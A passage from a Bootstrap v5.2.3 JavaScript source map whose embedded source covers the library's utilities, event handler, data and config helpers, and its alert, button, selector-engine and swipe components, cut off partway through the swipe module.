ect.js","../../node_modules/@popperjs/core/lib/dom-utils/getNodeScroll.js","../../node_modules/@popperjs/core/lib/dom-utils/getHTMLElementScroll.js","../../node_modules/@popperjs/core/lib/utils/orderModifiers.js","../../node_modules/@popperjs/core/lib/createPopper.js","../../node_modules/@popperjs/core/lib/utils/debounce.js","../../node_modules/@popperjs/core/lib/utils/mergeByName.js","../../node_modules/@popperjs/core/lib/popper-lite.js","../../node_modules/@popperjs/core/lib/popper.js","../../js/src/dropdown.js","../../js/src/util/scrollbar.js","../../js/src/util/backdrop.js","../../js/src/util/focustrap.js","../../js/src/modal.js","../../js/src/offcanvas.js","../../js/src/util/sanitizer.js","../../js/src/util/template-factory.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/toast.js","../../js/index.umd.js"],"sourcesContent":["/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst MAX_UID = 1_000_000\nconst MILLISECONDS_MULTIPLIER = 1000\nconst TRANSITION_END = 'transitionend'\n\n// Shout-out Angus Croll (https://goo.gl/pxwQGp)\nconst toType = object => {\n if (object === null || object === undefined) {\n return `${object}`\n }\n\n return Object.prototype.toString.call(object).match(/\\s([a-z]+)/i)[1].toLowerCase()\n}\n\n/**\n * Public Util API\n */\n\nconst getUID = prefix => {\n do {\n prefix += Math.floor(Math.random() * MAX_UID)\n } while (document.getElementById(prefix))\n\n return prefix\n}\n\nconst getSelector = element => {\n let selector = element.getAttribute('data-bs-target')\n\n if (!selector || selector === '#') {\n let hrefAttribute = element.getAttribute('href')\n\n // The only valid content that could double as a selector are IDs or classes,\n // so everything starting with `#` or `.`. If a \"real\" URL is used as the selector,\n // `document.querySelector` will rightfully complain it is invalid.\n // See https://github.com/twbs/bootstrap/issues/32273\n if (!hrefAttribute || (!hrefAttribute.includes('#') && !hrefAttribute.startsWith('.'))) {\n return null\n }\n\n // Just in case some CMS puts out a full URL with the anchor appended\n if (hrefAttribute.includes('#') && !hrefAttribute.startsWith('#')) {\n hrefAttribute = `#${hrefAttribute.split('#')[1]}`\n }\n\n selector = hrefAttribute && hrefAttribute !== '#' ? hrefAttribute.trim() : null\n }\n\n return selector\n}\n\nconst getSelectorFromElement = element => {\n const selector = getSelector(element)\n\n if (selector) {\n return document.querySelector(selector) ? selector : null\n }\n\n return null\n}\n\nconst getElementFromSelector = element => {\n const selector = getSelector(element)\n\n return selector ? document.querySelector(selector) : null\n}\n\nconst getTransitionDurationFromElement = element => {\n if (!element) {\n return 0\n }\n\n // Get transition-duration of the element\n let { transitionDuration, transitionDelay } = window.getComputedStyle(element)\n\n const floatTransitionDuration = Number.parseFloat(transitionDuration)\n const floatTransitionDelay = Number.parseFloat(transitionDelay)\n\n // Return 0 if element or transition duration is not found\n if (!floatTransitionDuration && !floatTransitionDelay) {\n return 0\n }\n\n // If multiple durations are defined, take the first\n transitionDuration = transitionDuration.split(',')[0]\n transitionDelay = transitionDelay.split(',')[0]\n\n return (Number.parseFloat(transitionDuration) + Number.parseFloat(transitionDelay)) * MILLISECONDS_MULTIPLIER\n}\n\nconst triggerTransitionEnd = element => {\n element.dispatchEvent(new Event(TRANSITION_END))\n}\n\nconst isElement = object => {\n if (!object || typeof object !== 'object') {\n return false\n }\n\n if (typeof object.jquery !== 'undefined') {\n object = object[0]\n }\n\n return typeof object.nodeType !== 'undefined'\n}\n\nconst getElement = object => {\n // it's a jQuery object or a node element\n if (isElement(object)) {\n return object.jquery ? object[0] : object\n }\n\n if (typeof object === 'string' && object.length > 0) {\n return document.querySelector(object)\n }\n\n return null\n}\n\nconst isVisible = element => {\n if (!isElement(element) || element.getClientRects().length === 0) {\n return false\n }\n\n const elementIsVisible = getComputedStyle(element).getPropertyValue('visibility') === 'visible'\n // Handle `details` element as its content may falsie appear visible when it is closed\n const closedDetails = element.closest('details:not([open])')\n\n if (!closedDetails) {\n return elementIsVisible\n }\n\n if (closedDetails !== element) {\n const summary = element.closest('summary')\n if (summary && summary.parentNode !== closedDetails) {\n return false\n }\n\n if (summary === null) {\n return false\n }\n }\n\n return elementIsVisible\n}\n\nconst isDisabled = element => {\n if (!element || element.nodeType !== Node.ELEMENT_NODE) {\n return true\n }\n\n if (element.classList.contains('disabled')) {\n return true\n }\n\n if (typeof element.disabled !== 'undefined') {\n return element.disabled\n }\n\n return element.hasAttribute('disabled') && element.getAttribute('disabled') !== 'false'\n}\n\nconst findShadowRoot = element => {\n if (!document.documentElement.attachShadow) {\n return null\n }\n\n // Can find the shadow root otherwise it'll return the document\n if (typeof element.getRootNode === 'function') {\n const root = element.getRootNode()\n return root instanceof ShadowRoot ? root : null\n }\n\n if (element instanceof ShadowRoot) {\n return element\n }\n\n // when we don't find a shadow root\n if (!element.parentNode) {\n return null\n }\n\n return findShadowRoot(element.parentNode)\n}\n\nconst noop = () => {}\n\n/**\n * Trick to restart an element's animation\n *\n * @param {HTMLElement} element\n * @return void\n *\n * @see https://www.charistheo.io/blog/2021/02/restart-a-css-animation-with-javascript/#restarting-a-css-animation\n */\nconst reflow = element => {\n element.offsetHeight // eslint-disable-line no-unused-expressions\n}\n\nconst getjQuery = () => {\n if (window.jQuery && !document.body.hasAttribute('data-bs-no-jquery')) {\n return window.jQuery\n }\n\n return null\n}\n\nconst DOMContentLoadedCallbacks = []\n\nconst onDOMContentLoaded = callback => {\n if (document.readyState === 'loading') {\n // add listener on the first call when the document is in loading state\n if (!DOMContentLoadedCallbacks.length) {\n document.addEventListener('DOMContentLoaded', () => {\n for (const callback of DOMContentLoadedCallbacks) {\n callback()\n }\n })\n }\n\n DOMContentLoadedCallbacks.push(callback)\n } else {\n callback()\n }\n}\n\nconst isRTL = () => document.documentElement.dir === 'rtl'\n\nconst defineJQueryPlugin = plugin => {\n onDOMContentLoaded(() => {\n const $ = getjQuery()\n /* istanbul ignore if */\n if ($) {\n const name = plugin.NAME\n const JQUERY_NO_CONFLICT = $.fn[name]\n $.fn[name] = plugin.jQueryInterface\n $.fn[name].Constructor = plugin\n $.fn[name].noConflict = () => {\n $.fn[name] = JQUERY_NO_CONFLICT\n return plugin.jQueryInterface\n }\n }\n })\n}\n\nconst execute = callback => {\n if (typeof callback === 'function') {\n callback()\n }\n}\n\nconst executeAfterTransition = (callback, transitionElement, waitForTransition = true) => {\n if (!waitForTransition) {\n execute(callback)\n return\n }\n\n const durationPadding = 5\n const emulatedDuration = getTransitionDurationFromElement(transitionElement) + durationPadding\n\n let called = false\n\n const handler = ({ target }) => {\n if (target !== transitionElement) {\n return\n }\n\n called = true\n transitionElement.removeEventListener(TRANSITION_END, handler)\n execute(callback)\n }\n\n transitionElement.addEventListener(TRANSITION_END, handler)\n setTimeout(() => {\n if (!called) {\n triggerTransitionEnd(transitionElement)\n }\n }, emulatedDuration)\n}\n\n/**\n * Return the previous/next element of a list.\n *\n * @param {array} list The list of elements\n * @param activeElement The active element\n * @param shouldGetNext Choose to get next or previous element\n * @param isCycleAllowed\n * @return {Element|elem} The proper element\n */\nconst getNextActiveElement = (list, activeElement, shouldGetNext, isCycleAllowed) => {\n const listLength = list.length\n let index = list.indexOf(activeElement)\n\n // if the element does not exist in the list return an element\n // depending on the direction and if cycle is allowed\n if (index === -1) {\n return !shouldGetNext && isCycleAllowed ? list[listLength - 1] : list[0]\n }\n\n index += shouldGetNext ? 1 : -1\n\n if (isCycleAllowed) {\n index = (index + listLength) % listLength\n }\n\n return list[Math.max(0, Math.min(index, listLength - 1))]\n}\n\nexport {\n defineJQueryPlugin,\n execute,\n executeAfterTransition,\n findShadowRoot,\n getElement,\n getElementFromSelector,\n getjQuery,\n getNextActiveElement,\n getSelectorFromElement,\n getTransitionDurationFromElement,\n getUID,\n isDisabled,\n isElement,\n isRTL,\n isVisible,\n noop,\n onDOMContentLoaded,\n reflow,\n triggerTransitionEnd,\n toType\n}\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): dom/event-handler.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { getjQuery } from '../util/index'\n\n/**\n * Constants\n */\n\nconst namespaceRegex = /[^.]*(?=\\..*)\\.|.*/\nconst stripNameRegex = /\\..*/\nconst stripUidRegex = /::\\d+$/\nconst eventRegistry = {} // Events storage\nlet uidEvent = 1\nconst customEvents = {\n mouseenter: 'mouseover',\n mouseleave: 'mouseout'\n}\n\nconst nativeEvents = new Set([\n 'click',\n 'dblclick',\n 'mouseup',\n 'mousedown',\n 'contextmenu',\n 'mousewheel',\n 'DOMMouseScroll',\n 'mouseover',\n 'mouseout',\n 'mousemove',\n 'selectstart',\n 'selectend',\n 'keydown',\n 'keypress',\n 'keyup',\n 'orientationchange',\n 'touchstart',\n 'touchmove',\n 'touchend',\n 'touchcancel',\n 'pointerdown',\n 'pointermove',\n 'pointerup',\n 'pointerleave',\n 'pointercancel',\n 'gesturestart',\n 'gesturechange',\n 'gestureend',\n 'focus',\n 'blur',\n 'change',\n 'reset',\n 'select',\n 'submit',\n 'focusin',\n 'focusout',\n 'load',\n 'unload',\n 'beforeunload',\n 'resize',\n 'move',\n 'DOMContentLoaded',\n 'readystatechange',\n 'error',\n 'abort',\n 'scroll'\n])\n\n/**\n * Private methods\n */\n\nfunction makeEventUid(element, uid) {\n return (uid && `${uid}::${uidEvent++}`) || element.uidEvent || uidEvent++\n}\n\nfunction getElementEvents(element) {\n const uid = makeEventUid(element)\n\n element.uidEvent = uid\n eventRegistry[uid] = eventRegistry[uid] || {}\n\n return eventRegistry[uid]\n}\n\nfunction bootstrapHandler(element, fn) {\n return function handler(event) {\n hydrateObj(event, { delegateTarget: element })\n\n if (handler.oneOff) {\n EventHandler.off(element, event.type, fn)\n }\n\n return fn.apply(element, [event])\n }\n}\n\nfunction bootstrapDelegationHandler(element, selector, fn) {\n return function handler(event) {\n const domElements = element.querySelectorAll(selector)\n\n for (let { target } = event; target && target !== this; target = target.parentNode) {\n for (const domElement of domElements) {\n if (domElement !== target) {\n continue\n }\n\n hydrateObj(event, { delegateTarget: target })\n\n if (handler.oneOff) {\n EventHandler.off(element, event.type, selector, fn)\n }\n\n return fn.apply(target, [event])\n }\n }\n }\n}\n\nfunction findHandler(events, callable, delegationSelector = null) {\n return Object.values(events)\n .find(event => event.callable === callable && event.delegationSelector === delegationSelector)\n}\n\nfunction normalizeParameters(originalTypeEvent, handler, delegationFunction) {\n const isDelegated = typeof handler === 'string'\n // todo: tooltip passes `false` instead of selector, so we need to check\n const callable = isDelegated ? delegationFunction : (handler || delegationFunction)\n let typeEvent = getTypeEvent(originalTypeEvent)\n\n if (!nativeEvents.has(typeEvent)) {\n typeEvent = originalTypeEvent\n }\n\n return [isDelegated, callable, typeEvent]\n}\n\nfunction addHandler(element, originalTypeEvent, handler, delegationFunction, oneOff) {\n if (typeof originalTypeEvent !== 'string' || !element) {\n return\n }\n\n let [isDelegated, callable, typeEvent] = normalizeParameters(originalTypeEvent, handler, delegationFunction)\n\n // in case of mouseenter or mouseleave wrap the handler within a function that checks for its DOM position\n // this prevents the handler from being dispatched the same way as mouseover or mouseout does\n if (originalTypeEvent in customEvents) {\n const wrapFunction = fn => {\n return function (event) {\n if (!event.relatedTarget || (event.relatedTarget !== event.delegateTarget && !event.delegateTarget.contains(event.relatedTarget))) {\n return fn.call(this, event)\n }\n }\n }\n\n callable = wrapFunction(callable)\n }\n\n const events = getElementEvents(element)\n const handlers = events[typeEvent] || (events[typeEvent] = {})\n const previousFunction = findHandler(handlers, callable, isDelegated ? handler : null)\n\n if (previousFunction) {\n previousFunction.oneOff = previousFunction.oneOff && oneOff\n\n return\n }\n\n const uid = makeEventUid(callable, originalTypeEvent.replace(namespaceRegex, ''))\n const fn = isDelegated ?\n bootstrapDelegationHandler(element, handler, callable) :\n bootstrapHandler(element, callable)\n\n fn.delegationSelector = isDelegated ? handler : null\n fn.callable = callable\n fn.oneOff = oneOff\n fn.uidEvent = uid\n handlers[uid] = fn\n\n element.addEventListener(typeEvent, fn, isDelegated)\n}\n\nfunction removeHandler(element, events, typeEvent, handler, delegationSelector) {\n const fn = findHandler(events[typeEvent], handler, delegationSelector)\n\n if (!fn) {\n return\n }\n\n element.removeEventListener(typeEvent, fn, Boolean(delegationSelector))\n delete events[typeEvent][fn.uidEvent]\n}\n\nfunction removeNamespacedHandlers(element, events, typeEvent, namespace) {\n const storeElementEvent = events[typeEvent] || {}\n\n for (const handlerKey of Object.keys(storeElementEvent)) {\n if (handlerKey.includes(namespace)) {\n const event = storeElementEvent[handlerKey]\n removeHandler(element, events, typeEvent, event.callable, event.delegationSelector)\n }\n }\n}\n\nfunction getTypeEvent(event) {\n // allow to get the native events from namespaced events ('click.bs.button' --> 'click')\n event = event.replace(stripNameRegex, '')\n return customEvents[event] || event\n}\n\nconst EventHandler = {\n on(element, event, handler, delegationFunction) {\n addHandler(element, event, handler, delegationFunction, false)\n },\n\n one(element, event, handler, delegationFunction) {\n addHandler(element, event, handler, delegationFunction, true)\n },\n\n off(element, originalTypeEvent, handler, delegationFunction) {\n if (typeof originalTypeEvent !== 'string' || !element) {\n return\n }\n\n const [isDelegated, callable, typeEvent] = normalizeParameters(originalTypeEvent, handler, delegationFunction)\n const inNamespace = typeEvent !== originalTypeEvent\n const events = getElementEvents(element)\n const storeElementEvent = events[typeEvent] || {}\n const isNamespace = originalTypeEvent.startsWith('.')\n\n if (typeof callable !== 'undefined') {\n // Simplest case: handler is passed, remove that listener ONLY.\n if (!Object.keys(storeElementEvent).length) {\n return\n }\n\n removeHandler(element, events, typeEvent, callable, isDelegated ? handler : null)\n return\n }\n\n if (isNamespace) {\n for (const elementEvent of Object.keys(events)) {\n removeNamespacedHandlers(element, events, elementEvent, originalTypeEvent.slice(1))\n }\n }\n\n for (const keyHandlers of Object.keys(storeElementEvent)) {\n const handlerKey = keyHandlers.replace(stripUidRegex, '')\n\n if (!inNamespace || originalTypeEvent.includes(handlerKey)) {\n const event = storeElementEvent[keyHandlers]\n removeHandler(element, events, typeEvent, event.callable, event.delegationSelector)\n }\n }\n },\n\n trigger(element, event, args) {\n if (typeof event !== 'string' || !element) {\n return null\n }\n\n const $ = getjQuery()\n const typeEvent = getTypeEvent(event)\n const inNamespace = event !== typeEvent\n\n let jQueryEvent = null\n let bubbles = true\n let nativeDispatch = true\n let defaultPrevented = false\n\n if (inNamespace && $) {\n jQueryEvent = $.Event(event, args)\n\n $(element).trigger(jQueryEvent)\n bubbles = !jQueryEvent.isPropagationStopped()\n nativeDispatch = !jQueryEvent.isImmediatePropagationStopped()\n defaultPrevented = jQueryEvent.isDefaultPrevented()\n }\n\n let evt = new Event(event, { bubbles, cancelable: true })\n evt = hydrateObj(evt, args)\n\n if (defaultPrevented) {\n evt.preventDefault()\n }\n\n if (nativeDispatch) {\n element.dispatchEvent(evt)\n }\n\n if (evt.defaultPrevented && jQueryEvent) {\n jQueryEvent.preventDefault()\n }\n\n return evt\n }\n}\n\nfunction hydrateObj(obj, meta) {\n for (const [key, value] of Object.entries(meta || {})) {\n try {\n obj[key] = value\n } catch {\n Object.defineProperty(obj, key, {\n configurable: true,\n get() {\n return value\n }\n })\n }\n }\n\n return obj\n}\n\nexport default EventHandler\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): dom/data.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n/**\n * Constants\n */\n\nconst elementMap = new Map()\n\nexport default {\n set(element, key, instance) {\n if (!elementMap.has(element)) {\n elementMap.set(element, new Map())\n }\n\n const instanceMap = elementMap.get(element)\n\n // make it clear we only want one instance per element\n // can be removed later when multiple key/instances are fine to be used\n if (!instanceMap.has(key) && instanceMap.size !== 0) {\n // eslint-disable-next-line no-console\n console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(instanceMap.keys())[0]}.`)\n return\n }\n\n instanceMap.set(key, instance)\n },\n\n get(element, key) {\n if (elementMap.has(element)) {\n return elementMap.get(element).get(key) || null\n }\n\n return null\n },\n\n remove(element, key) {\n if (!elementMap.has(element)) {\n return\n }\n\n const instanceMap = elementMap.get(element)\n\n instanceMap.delete(key)\n\n // free up element references if there are no instances left for an element\n if (instanceMap.size === 0) {\n elementMap.delete(element)\n }\n }\n}\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): dom/manipulator.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nfunction normalizeData(value) {\n if (value === 'true') {\n return true\n }\n\n if (value === 'false') {\n return false\n }\n\n if (value === Number(value).toString()) {\n return Number(value)\n }\n\n if (value === '' || value === 'null') {\n return null\n }\n\n if (typeof value !== 'string') {\n return value\n }\n\n try {\n return JSON.parse(decodeURIComponent(value))\n } catch {\n return value\n }\n}\n\nfunction normalizeDataKey(key) {\n return key.replace(/[A-Z]/g, chr => `-${chr.toLowerCase()}`)\n}\n\nconst Manipulator = {\n setDataAttribute(element, key, value) {\n element.setAttribute(`data-bs-${normalizeDataKey(key)}`, value)\n },\n\n removeDataAttribute(element, key) {\n element.removeAttribute(`data-bs-${normalizeDataKey(key)}`)\n },\n\n getDataAttributes(element) {\n if (!element) {\n return {}\n }\n\n const attributes = {}\n const bsKeys = Object.keys(element.dataset).filter(key => key.startsWith('bs') && !key.startsWith('bsConfig'))\n\n for (const key of bsKeys) {\n let pureKey = key.replace(/^bs/, '')\n pureKey = pureKey.charAt(0).toLowerCase() + pureKey.slice(1, pureKey.length)\n attributes[pureKey] = normalizeData(element.dataset[key])\n }\n\n return attributes\n },\n\n getDataAttribute(element, key) {\n return normalizeData(element.getAttribute(`data-bs-${normalizeDataKey(key)}`))\n }\n}\n\nexport default Manipulator\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/config.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { isElement, toType } from './index'\nimport Manipulator from '../dom/manipulator'\n\n/**\n * Class definition\n */\n\nclass Config {\n // Getters\n static get Default() {\n return {}\n }\n\n static get DefaultType() {\n return {}\n }\n\n static get NAME() {\n throw new Error('You have to implement the static method \"NAME\", for each component!')\n }\n\n _getConfig(config) {\n config = this._mergeConfigObj(config)\n config = this._configAfterMerge(config)\n this._typeCheckConfig(config)\n return config\n }\n\n _configAfterMerge(config) {\n return config\n }\n\n _mergeConfigObj(config, element) {\n const jsonConfig = isElement(element) ? Manipulator.getDataAttribute(element, 'config') : {} // try to parse\n\n return {\n ...this.constructor.Default,\n ...(typeof jsonConfig === 'object' ? jsonConfig : {}),\n ...(isElement(element) ? Manipulator.getDataAttributes(element) : {}),\n ...(typeof config === 'object' ? config : {})\n }\n }\n\n _typeCheckConfig(config, configTypes = this.constructor.DefaultType) {\n for (const property of Object.keys(configTypes)) {\n const expectedTypes = configTypes[property]\n const value = config[property]\n const valueType = isElement(value) ? 'element' : toType(value)\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new TypeError(\n `${this.constructor.NAME.toUpperCase()}: Option \"${property}\" provided type \"${valueType}\" but expected type \"${expectedTypes}\".`\n )\n }\n }\n }\n}\n\nexport default Config\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): base-component.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport Data from './dom/data'\nimport { executeAfterTransition, getElement } from './util/index'\nimport EventHandler from './dom/event-handler'\nimport Config from './util/config'\n\n/**\n * Constants\n */\n\nconst VERSION = '5.2.3'\n\n/**\n * Class definition\n */\n\nclass BaseComponent extends Config {\n constructor(element, config) {\n super()\n\n element = getElement(element)\n if (!element) {\n return\n }\n\n this._element = element\n this._config = this._getConfig(config)\n\n Data.set(this._element, this.constructor.DATA_KEY, this)\n }\n\n // Public\n dispose() {\n Data.remove(this._element, this.constructor.DATA_KEY)\n EventHandler.off(this._element, this.constructor.EVENT_KEY)\n\n for (const propertyName of Object.getOwnPropertyNames(this)) {\n this[propertyName] = null\n }\n }\n\n _queueCallback(callback, element, isAnimated = true) {\n executeAfterTransition(callback, element, isAnimated)\n }\n\n _getConfig(config) {\n config = this._mergeConfigObj(config, this._element)\n config = this._configAfterMerge(config)\n this._typeCheckConfig(config)\n return config\n }\n\n // Static\n static getInstance(element) {\n return Data.get(getElement(element), this.DATA_KEY)\n }\n\n static getOrCreateInstance(element, config = {}) {\n return this.getInstance(element) || new this(element, typeof config === 'object' ? config : null)\n }\n\n static get VERSION() {\n return VERSION\n }\n\n static get DATA_KEY() {\n return `bs.${this.NAME}`\n }\n\n static get EVENT_KEY() {\n return `.${this.DATA_KEY}`\n }\n\n static eventName(name) {\n return `${name}${this.EVENT_KEY}`\n }\n}\n\nexport default BaseComponent\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/component-functions.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport EventHandler from '../dom/event-handler'\nimport { getElementFromSelector, isDisabled } from './index'\n\nconst enableDismissTrigger = (component, method = 'hide') => {\n const clickEvent = `click.dismiss${component.EVENT_KEY}`\n const name = component.NAME\n\n EventHandler.on(document, clickEvent, `[data-bs-dismiss=\"${name}\"]`, function (event) {\n if (['A', 'AREA'].includes(this.tagName)) {\n event.preventDefault()\n }\n\n if (isDisabled(this)) {\n return\n }\n\n const target = getElementFromSelector(this) || this.closest(`.${name}`)\n const instance = component.getOrCreateInstance(target)\n\n // Method argument is left, for Alert and only, as it doesn't implement the 'hide' method\n instance[method]()\n })\n}\n\nexport {\n enableDismissTrigger\n}\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { defineJQueryPlugin } from './util/index'\nimport EventHandler from './dom/event-handler'\nimport BaseComponent from './base-component'\nimport { enableDismissTrigger } from './util/component-functions'\n\n/**\n * Constants\n */\n\nconst NAME = 'alert'\nconst DATA_KEY = 'bs.alert'\nconst EVENT_KEY = `.${DATA_KEY}`\n\nconst EVENT_CLOSE = `close${EVENT_KEY}`\nconst EVENT_CLOSED = `closed${EVENT_KEY}`\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\n\n/**\n * Class definition\n */\n\nclass Alert extends BaseComponent {\n // Getters\n static get NAME() {\n return NAME\n }\n\n // Public\n close() {\n const closeEvent = EventHandler.trigger(this._element, EVENT_CLOSE)\n\n if (closeEvent.defaultPrevented) {\n return\n }\n\n this._element.classList.remove(CLASS_NAME_SHOW)\n\n const isAnimated = this._element.classList.contains(CLASS_NAME_FADE)\n this._queueCallback(() => this._destroyElement(), this._element, isAnimated)\n }\n\n // Private\n _destroyElement() {\n this._element.remove()\n EventHandler.trigger(this._element, EVENT_CLOSED)\n this.dispose()\n }\n\n // Static\n static jQueryInterface(config) {\n return this.each(function () {\n const data = Alert.getOrCreateInstance(this)\n\n if (typeof config !== 'string') {\n return\n }\n\n if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config](this)\n })\n }\n}\n\n/**\n * Data API implementation\n */\n\nenableDismissTrigger(Alert, 'close')\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Alert)\n\nexport default Alert\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { defineJQueryPlugin } from './util/index'\nimport EventHandler from './dom/event-handler'\nimport BaseComponent from './base-component'\n\n/**\n * Constants\n */\n\nconst NAME = 'button'\nconst DATA_KEY = 'bs.button'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst CLASS_NAME_ACTIVE = 'active'\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"button\"]'\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\n/**\n * Class definition\n */\n\nclass Button extends BaseComponent {\n // Getters\n static get NAME() {\n return NAME\n }\n\n // Public\n toggle() {\n // Toggle class and sync the `aria-pressed` attribute with the return value of the `.toggle()` method\n this._element.setAttribute('aria-pressed', this._element.classList.toggle(CLASS_NAME_ACTIVE))\n }\n\n // Static\n static jQueryInterface(config) {\n return this.each(function () {\n const data = Button.getOrCreateInstance(this)\n\n if (config === 'toggle') {\n data[config]()\n }\n })\n }\n}\n\n/**\n * Data API implementation\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, event => {\n event.preventDefault()\n\n const button = event.target.closest(SELECTOR_DATA_TOGGLE)\n const data = Button.getOrCreateInstance(button)\n\n data.toggle()\n})\n\n/**\n * jQuery\n */\n\ndefineJQueryPlugin(Button)\n\nexport default Button\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): dom/selector-engine.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { isDisabled, isVisible } from '../util/index'\n\n/**\n * Constants\n */\n\nconst SelectorEngine = {\n find(selector, element = document.documentElement) {\n return [].concat(...Element.prototype.querySelectorAll.call(element, selector))\n },\n\n findOne(selector, element = document.documentElement) {\n return Element.prototype.querySelector.call(element, selector)\n },\n\n children(element, selector) {\n return [].concat(...element.children).filter(child => child.matches(selector))\n },\n\n parents(element, selector) {\n const parents = []\n let ancestor = element.parentNode.closest(selector)\n\n while (ancestor) {\n parents.push(ancestor)\n ancestor = ancestor.parentNode.closest(selector)\n }\n\n return parents\n },\n\n prev(element, selector) {\n let previous = element.previousElementSibling\n\n while (previous) {\n if (previous.matches(selector)) {\n return [previous]\n }\n\n previous = previous.previousElementSibling\n }\n\n return []\n },\n // TODO: this is now unused; remove later along with prev()\n next(element, selector) {\n let next = element.nextElementSibling\n\n while (next) {\n if (next.matches(selector)) {\n return [next]\n }\n\n next = next.nextElementSibling\n }\n\n return []\n },\n\n focusableChildren(element) {\n const focusables = [\n 'a',\n 'button',\n 'input',\n 'textarea',\n 'select',\n 'details',\n '[tabindex]',\n '[contenteditable=\"true\"]'\n ].map(selector => `${selector}:not([tabindex^=\"-\"])`).join(',')\n\n return this.find(focusables, element).filter(el => !isDisabled(el) && isVisible(el))\n }\n}\n\nexport default SelectorEngine\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): util/swipe.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport Config from './config'\nimport EventHandler from '../dom/event-handler'\nimport { execute } from './index'\n\n/**\n * Constants\n */\n\nconst NAME = 'swipe'\nconst EVENT_KEY = '.bs.swipe'\nconst EVENT_TOUCHSTART = `touchstart${EVENT_KEY}`\nconst EVENT_TOUCHMOVE = `touchmove${EVENT_KEY}`\nconst EVENT_TOUCHEND = `touchend${EVENT_KEY}`\nconst EVENT_POINTERDOWN = `pointerdown${EVENT_KEY}`\nconst EVENT_POINTERUP = `pointerup${EVENT_KEY}`\nconst POINTER_TYPE_TOUCH = 'touch'\nconst POINTER_TYPE_PEN = 'pen'\nconst CLASS_NAME_POINTER_EVENT = 'pointer-event'\nconst SWIPE_THRESHOLD = 40\n\nconst Default = {\n endCallback: null,\n leftCallback: null,\n rightCallback: null\n}\n\nconst DefaultType = {\n endCallback: '(function|null)',\n leftCallback: '(function|null)',\n rightCallback: '(function|null)'\n}\n\n/**\n * Class definition\n */\n\nclass Swipe extends Config {\n constructor(element, config) {\n super()\n this._element = element\n\n if (!element || !Swipe.isSupported()) {\n return\n }\n\n this._config = this._getConfig(config)\n this._deltaX = 0\n this._supportPointerEvents = Boolean(window.PointerEvent)\n this._initEvents()\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n dispose() {\n EventHandler.off(this._element, EVENT_KEY)\n }\n\n // Private\n _start(event) {\n if (!this._supportPointerEvents) {\n this._deltaX = event.touches[0].clientX\n\n return\n }\n\n if (this._eventIsPointerPenTouch(event)) {\n this._deltaX = event.clientX\n }\n }\n\n _end(event) {\n if (this._eventIsPointerPenTouch(event)) {\n this._deltaX = event.clientX - this._deltaX\n }\n\n this._handleSwipe()\n execute(this._config.endCallback)\n }\n\n _move(event) {\n this._deltaX = event.touches && event.touches.length > 1 ?\n 0 :\n event.touches[0].clientX - this._deltaX\n }\n\n _handleSwipe() {\n const absDeltaX = Math.abs(this._deltaX)\n\n if (absDeltaX <= SWIPE_THRESHOLD) {\n return\n }\n\n const direction = absDeltaX / this._deltaX\n\n this._deltaX = 0\n\n if (!direction) {\n return\n }\n\n execute(direction > 0 ? this._config.rightCallback : this._config.leftCallback)\n }\n\n _initEvents() {\n if (this._supportPointerEvents) {\n EventHandler.on(this._element, EVENT_POINTERDOWN, event => this._start(event))\n EventHandler.on(this._element, EVENT_POINTERUP, event => this._end(event))\n\n this._element.classList.add(CLASS_NAME_POINTER_EVENT)\n } else {\n EventHandler.on(this._element, EVENT_TOUCHSTART, event => this._start(event))\n EventHandler.on(this._element, EVENT_TOUCHMOVE, event => this._move(event))\n EventHandler.on(this._element, EVENT_TOUCHEND, event => this._end(event))\n 